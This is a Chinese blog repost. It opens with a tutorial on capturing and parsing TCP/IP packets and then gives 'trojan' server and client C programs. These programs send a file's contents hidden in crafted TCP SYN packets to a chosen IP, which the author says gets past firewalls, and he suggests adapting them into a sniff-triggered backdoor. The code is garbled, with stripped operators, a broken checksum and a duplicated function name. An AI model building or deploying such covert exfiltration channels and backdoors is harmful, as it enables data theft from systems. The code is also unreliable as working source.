关于TCP/IP数据包的截取和分析(摘自安全焦点论坛,原作:ilsy)

关于TCP/IP数据包的截取和分析(摘自安全焦点论坛,原作:ilsy)


TCP/IP数据包的截取是一个简单的工作,在Windows 2000/xp下,下面方法可以完成TCP/IP数据包的截获:
1、通过建立rawsocket来完成对TCP/IP数据包的截获。从Windows 2000开始,Winsock 2开始支持原始socket,可以 截获所有经过本机的TCP/IP数据包,支持拨号网络,但对本机向外发送的TCP/IP数据包截获有缺陷。可以从http://www.codeguru.com/Cpp/I-N/network/tcpip/article.php/c5413得到更加详细的信息及演示代码,现在很多基于rawsocket的代码都是参照这篇文章完成的。
2、通过WinPcap Developer's pack来完成对TCP/IP数据包的截获。这个开发包可以很好的在windows 9x/nt/2000/xp下工作,不支持拨号网络。可以从http://winpcap.polito.it/获得更详细的信息和用户手册,在本版的精华版也包括一个介绍这个开发包的文章可以参照。
Windows下对TCP/IP数据包的截获大多通过这两个方法来完成。如果你需要编写一个轻量级的TCP/IP数据包的截取和分析工具,而且只在Windows 2000/xp下工作,你可以选择第一种方法,比较简单,而且不需要另外的驱动;否则,你需要选择第二种方法或其他方法。
在类UNIX系统(比如linux)下,通常使用libpcap(http://www.tcpdump.org/)完成TCP/IP数据包的截取工作,它可以工作在多种操作系统下。

可以从互联网上面搜索到很多Windows下的TCP/IP数据包截取的演示代码,还可以搜索到很多linux下的开源项目,甚至功能完备复杂的大型TCP/IP数据包截取项目。

TCP/IP数据包的分析就比较困难和麻烦了。首先这种分析是基于对TCP/IP协议族的理解之上的,如果你还不了解,《TCP-IP详解卷1:协议》是首先需要翻阅的书籍,如果懒的看,那也不要提什么分析了,呵呵。
截取了一个TCP/IP数据包后,首先分离出IP协议(IP“Internet Protocol”协议是TCP/IP协议族中最为核心的协议,所有的TCP、UDP、ICMP和IGMP数据等都是以IP数据报格式传输的)的头部分,从IP协议头中可以得到很多关键的数据,如IP头的长度、源IP、目的IP、TCP/IP协议类型等,下面演示代码实现这个功能:

typedef struct _IP_HEADER             //定义IP首部
{
       unsigned char     h_lenver;        //4位首部长度+4位IP版本号
     unsigned char     tos;             //8位服务类型TOS
       unsigned short    total_len;       //16位总长度(字节)
     unsigned short    ident;           //16位标识
     unsigned short    frag_and_flags; //3位标志位+13位片偏移
     unsigned char     ttl;             //8位生存时间 TTL
       unsigned char     proto;           //8位协议 (TCP, UDP 或其他)
       unsigned short    checksum;        //16位IP首部校验和
     unsigned int      sourceIP;        //32位源IP地址
     unsigned int      destIP;          //32位目的IP地址
} IP_HEADER;

typedef struct _TCP_HEADER             //定义TCP首部
{
       USHORT th_sport;                   //16位源端口
     USHORT th_dport;                   //16位目的端口
     UINT    th_seq;                     //32位序列号
     UINT    th_ack;                     //32位确认号
     UCHAR   th_lenres;                  //4位首部长度/6位保留字
     UCHAR   th_flag;                    //6位标志位
     USHORT th_win;                     //16位窗口大小
     USHORT th_sum;                     //16位校验和
     USHORT th_urp;                     //16位紧急数据偏移量
} TCP_HEADER;

unsigned short DecodeIPHeader(char *buf)   //IP头解码函数 (得到IP头的长度,其他内容得到方法类似)
{
     IP_HEADER * ipheader;
     unsigned short ipheaderlen;

     ipheader = (IP_HEADER *)buf;
     ipheaderlen = sizeof(unsigned long) * (ipheader->h_lenver & 0xf);
    
     return ipheaderlen;
}

好,现在我们获得了IP头的长度,用类似的方法也可以获得了协议类型等其他数据。假设协议类型是TCP,那么接着就可以从数据包中分离出TCP协议(TCP协议是可靠的端到端协议)头的数据,从TCP协议头中得到很多关键的数据,如源端口、目的端口、数据偏移、控制位等。从目的端口中我们可以简单的(但不一定准确)判断一下跟着的数据是什么协议,如端口是80那么是HTTP协议、端口是21是FTP等(HTTP、FTP等协议都是基于TCP协议实现的)。

unsigned short DecodeIPHeader(char *buf)   //TCP头解码函数 (得到目的端口,其他内容得到方法类似)
{
     TCP_HEADER * tcpheader;
     unsigned short ipheaderlen;

     ipheaderlen = DecodeIPHeader(buf);
     tcpheader = (TCP_HEADER *)(buf + ipheaderlen);
    
     return tcpheader->th_dport;
}

通过类似的方法,得到所有需要的数据。一个正常的TCP连接总是由三次握手开始的,也就是说开始的三个数据包它的数据偏移是0,通过控制位可以知道三次握手的完成状态。接着就是分析接下来的数据了,接下来的数据就有很多变化了,一般情况下针对每一种协议都要写解码函数,可以通过端口和数据的一些标志判断数据包是什么协议的数据包,比如SMB协议开始会有0xff加SMB的标志,当然,这首先一个条件是协议是已知并且公开的,如果一个协议是不公开的,那就需要对使用这个协议的网络应用程序进行分析以确定协议的结构并写出相应的解码函数,这就是更复杂和麻烦的工作了,需要的知识也就更多,就不是本文要解决的问题了。

关于各种协议的解码函数在Windows下我是没有找到公开的源码,但如果有时间和耐心,可以参考下面linux下的开源项目,对编写自己的协议解码还是可能有所帮助。如:

http://www.cpan.org/authors/id/T/TI/TIMPOTTER/NetPacket-0.03.tar.gz
用于基本的IP/TCP/UDP等包解码的模块,剥除各种协议头,抽取各个字段。


http://www.ethereal.com/download.html
Ethereal是一个开源项目,功能强大的数据截取分析工具。



Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=398259

 

通过发送tcp数据包来实现文件传送,可以穿透大部分防火墙,具体原理不在多说,请参看xfocus.chm
以下的程序只是一个DEMO,如果是大型服务器的话,你就自己优化吧,否则cpu占有率是很大的.你可以修改
成自己的后门协议,完成嗅探启动的功能,虽然网上也流传着嗅探启动的代码,但都是server端的,我把client端代码也公布,比较简单.

SERVER:

/*
Send File with Raw Sockets V 0.0.5
by wzt
*/
#include stdio.h>
#include unistd.h>
#include fcntl.h>
#include string.h>
#include sys/socket.h>
#include sys/types.h>
#include netinet/in.h>
#define MAXSIZE 65535
#define DATASIZE 1024
#define SEQ 12345
#define TROJAN_ID 6789
#define IPLEN sizeof(struct iphdr)
#define TCPLEN sizeof(struct tcphdr)
#define PACKLEN sizeof(struct iphdr) sizeof(struct tcphdr) sizeof(unsigned int) sizeof(unsigned int) strlen(trojan.data)
#define PSELEN sizeof(struct psehdr)
#define TROJANLEN sizeof(unsigned int) sizeof(unsigned int) strlen(trojan.data)
struct iphdr
{
unsigned char h_verlen;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
};
struct tcphdr{
unsigned short th_sport;
unsigned short th_dport;
unsigned int th_seq;
unsigned int th_ack;
unsigned char th_lenres;
unsigned char th_flag;
unsigned short th_win;
unsigned short th_sum;
unsigned short th_urp;
};
struct psehdr{
unsigned long saddr;
unsigned long daddr;
unsigned char reserved;
unsigned char proto;
unsigned short len;
};
struct trojan_packet{
unsigned int trojan_id;
unsigned int datalen;
char data[DATASIZE];
};
void usage(char *pro);
unsigned short in_cksum(unsigned short *addr,int len);
int tcpsend(char *src_ip,char *src_port,char *dst_ip,char *dst_port,char *data);
void usage(char *pro)
{
fprintf(stdout,"%s /n",pro);
exit(0);
}
unsigned short in_cksum(unsigned short *addr,int len)
{
register int sum = 0;
register u_short *w = addr;
register int nleft = len;
u_short value =0;
while( nleft > 1 ){
sum = *w ;
nleft -= 2;
}
if( nleft == 1 ){
*(u_char *)(&value) = *(u_char *)w;
sum = value;
}
sum = ( sum >> 16 ) ( sum & 0xffff );
sum = ( sum >> 16 );
return value;
}
int tcpsend(char *src_ip,char *src_port,char *dst_ip,char *dst_port,char *data)
{
struct iphdr ip;
struct tcphdr tcp;
struct psehdr pseuhdr;
struct trojan_packet trojan;
struct sockaddr_in remote;
char data_buf[MAXSIZE];
int sock_id;
int data_len;
int flag=1;
int s_len;
if( ( sock_id = socket(AF_INET,SOCK_RAW,IPPROTO_TCP) ) -1 ){
perror("[-] socket");
exit(1);
}
if( setsockopt(sock_id,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(flag)) 0 ){
perror("[-] setsockopt");
exit(1);
}
trojan.trojan_id = htons(TROJAN_ID);
data_len = strlen(data);
strcpy(trojan.data,data);
trojan.datalen = data_len;

ip.h_verlen = ( 4 4 | sizeof(struct iphdr) / sizeof(unsigned long) );
ip.tos = 0;
ip.total_len = htons(PACKLEN);
ip.frag_and_flags = 0x40;
ip.ident = 13;
ip.ttl = 255;
ip.proto = IPPROTO_TCP;
ip.sourceIP = inet_addr(src_ip);
ip.destIP = inet_addr(dst_ip);
ip.checksum = 0;
tcp.th_sport = htons(atoi(src_port));
tcp.th_dport = htons(atoi(dst_port));
tcp.th_seq = htonl(SEQ);
tcp.th_ack = htonl(0);
tcp.th_lenres= (sizeof(struct tcphdr) / 4 4 | 0 );
tcp.th_flag = 2;
tcp.th_win = htons(512);
tcp.th_sum = 0;
tcp.th_urp = 0;
pseuhdr.saddr = ip.sourceIP;
pseuhdr.daddr = ip.destIP;
pseuhdr.reserved = 0 ;
pseuhdr.proto = ip.proto;
pseuhdr.len = htons( TCPLEN TROJANLEN );
memcpy(data_buf,&pseuhdr,PSELEN);
memcpy(data_buf PSELEN,&tcp,TCPLEN);
memcpy(data_buf PSELEN TCPLEN,&trojan,TROJANLEN);

tcp.th_sum = in_cksum( (unsigned short *)data_buf,( PSELEN TCPLEN TROJANLEN data_len ) );

memcpy(data_buf,&ip,IPLEN);
memcpy(data_buf IPLEN,&tcp,TCPLEN);
memcpy(data_buf IPLEN TCPLEN,&trojan,TROJANLEN);
remote.sin_family = AF_INET;
remote.sin_port = tcp.th_dport;
remote.sin_addr.s_addr = ip.destIP;
if( (s_len = sendto( sock_id,data_buf,PACKLEN,0,(struct sockaddr *)&remote,sizeof(struct sockaddr)) ) 0 ){
perror("[-] sendto");
exit(1);
}
printf("[ ] Packet Successfuly Sending %d size./n",s_len);
// printf("%s",trojan.data);
close(sock_id);
}
int main(int argc,char **argv)
{
char buffer[DATASIZE] = {0};
char temp[DATASIZE];
int fd;
int fd1;
int n_char;
if( argc 6 ) usage(argv[0]);
if( (fd = open(argv[5],O_RDONLY)) 0 ){
perror("[-] open");
exit(1);
}
while( (n_char = read(fd,buffer,DATASIZE)) > 0 ){
buffer[n_char] = 0;
tcpsend(argv[1],argv[2],argv[3],argv[4],buffer);
}
close(fd);
printf("[ ] Done./n");
return 0;
}
CLIENT:

/*
Recv File From Raw Sockets V 0.0.5
by wzt
*/
#include stdio.h>
#include sys/socket.h>
#include sys/types.h>
#include netinet/in.h>
#include signal.h>
#define DEBUG
#define DATASIZE 1024
#define SEQ 12345
#define TROJAN_ID 6789
#define PACKETLEN sizeof(struct iphdr) sizeof(struct tcphdr) sizeof(struct trojan_packet)
#define PORT 61
#define PID 14844
struct iphdr
{
unsigned char h_verlen;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
};
struct tcphdr{
unsigned short th_sport;
unsigned short th_dport;
unsigned int th_seq;
unsigned int th_ack;
unsigned char th_lenres;
unsigned char th_flag;
unsigned short th_win;
unsigned short th_sum;
unsigned short th_urp;
};
struct trojan_packet{
unsigned int trojan_id;
unsigned int datalen;
char data[DATASIZE];
};
struct tpacket{
struct iphdr ip;
struct tcphdr tcp;
struct trojan_packet trojan;
};
void usage(char *help);
void wait_tcp_signal(int fd);
void usage(char *pro)
{
fprintf(stdout," usage : %s /n",pro);
exit(0);
}
void wait_tcp_signal(int fd)
{
struct tpacket *packet;
int sock_id;
int r_len;
packet = (struct tpacket *)malloc(PACKETLEN);
if( packet == NULL ){
printf("[-] malloc packet");
exit(1);
}
signal(SIGCHLD,SIG_IGN);
while(1){
if( (sock_id = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) 1 ){
perror("[-] socket");
exit(0);
}
printf("[ ] !!Waiting Signal!!./n");


while(1){
memset(packet,0,sizeof(struct tpacket));
r_len = read(sock_id,packet,sizeof(struct tpacket) DATASIZE );
#ifdef DEBUG
printf("[ ] Recv a signal %d size/n",r_len);
#endif
if( packet->ip.proto == IPPROTO_TCP ){
if( ntohs(packet->tcp.th_dport) == PORT ){
printf("[ ] !!!Found PORT./n");
kill(PID,SIGKILL);
printf("[ } KILL Pid OK./n");
break;
}
if( ntohl(packet->tcp.th_seq) == SEQ && packet->tcp.th_flag == 2 && ntohs(packet->trojan.trojan_id) == TROJAN_ID ){
#ifdef DEBUG
printf("[ ] Start ================================================= [ ]/n");
printf("[ ] Trojan.Id : %d/n",ntohs(packet->trojan.trojan_id));
printf("[ ] Source IP addr : %s/n",inet_ntoa(packet->ip.sourceIP));
printf("[ ] Source Port : %d/n",ntohs(packet->tcp.th_sport));
printf("[ ] Dest Port : %d/n",ntohs(packet->tcp.th_dport));
printf("[ ] Dest IP : %s/n",inet_ntoa(packet->ip.destIP));
printf("[ ] Data : %d/n",packet->trojan.datalen);
printf("[ ] End ================================================= [ ]/n");
#endif
write(fd,packet->trojan.data,packet->trojan.datalen );
}
}
}
close(sock_id);
}
}
int main(int __argc,char **__argv)
{
int fd;
if( __argc == 1 ) usage(__argv[0]);
if( (fd = creat(__argv[1],0777)) -1 ){
perror("[-] creat");
exit(1);
}
wait_tcp_signal(fd);
close(fd);
return 0;
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值